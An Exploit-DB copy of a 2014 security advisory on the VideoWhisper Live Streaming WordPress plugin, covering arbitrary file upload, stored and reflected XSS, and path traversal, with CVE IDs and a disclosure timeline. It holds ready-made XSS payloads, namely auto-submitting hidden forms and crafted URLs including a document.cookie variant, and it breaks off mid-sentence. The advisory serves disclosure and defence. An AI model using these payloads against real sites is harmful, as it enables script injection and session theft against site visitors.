Exploit-DB #31986
Description: WordPress Plugin VideoWhisper 4.27.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-28
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23199
Product: VideoWhisper Live Streaming Integration
Vendor: VideoWhisper
Vulnerable Version(s): 4.27.3 and probably prior
Tested Version: 4.27.3
Advisory Publication: February 6, 2014 [without technical details]
Vendor Notification: February 6, 2014
Vendor Patch: February 7, 2014
Public Disclosure: February 27, 2014
Vulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211]
CVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908
Risk Level: Critical
CVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.

1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905

VideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snaps
hots.php". A remote attacker can upload and execute arbitrary PHP file on the target system.

The following PoC code demonstrates exploitation of the vulnerability:

After successful exploitation the remote shell will be accessible via the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/snapshots/1.php.jpg

Successful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension.

2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906

2.1 The vulnerability exists due to insufficient filtration of "m" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_statu
s.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled pluginâ??s widget. The script will be also executed in administrative section on the following page:

http://[host]/wp-admin/options-general.php?page=videowhisper_streaming.p
hp&tab=live

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-int
egration/ls/lb_status.php" method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="u" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="m" value="<script>alert('immuniweb')</script>">
</form>
</body>

2.2 The vulnerability exists due to insufficient filtration of "msg" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatl
og.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page.

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-int
egration/ls/vc_chatlog.php" method="post">
<input type="hidden" name="msg" value="<script>alert('immuniweb')</script>">
<input type="hidden" name="r" value="1">
</form>
</body>

The code will be executed when the user visits the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/uploads/[room]/Log[date].html

Where [room] is set by HTTP POST parameter r and [date] is the current date.

2.3 The vulnerabilities exist due to insufficient filtration of "n" HTTP GET parameter passed to scripts "channel.php", "htmlchat.php", "video.php" and "videotext.php" within the "/wp-content/plugins/videowhisper-live-streaming-integration/ls/" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3
E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%
3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration
/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/sc
ript%3E

2.4 The vulnerability exists due to insufficient filtration of "message" HTTP GET parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logou
t.php" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in c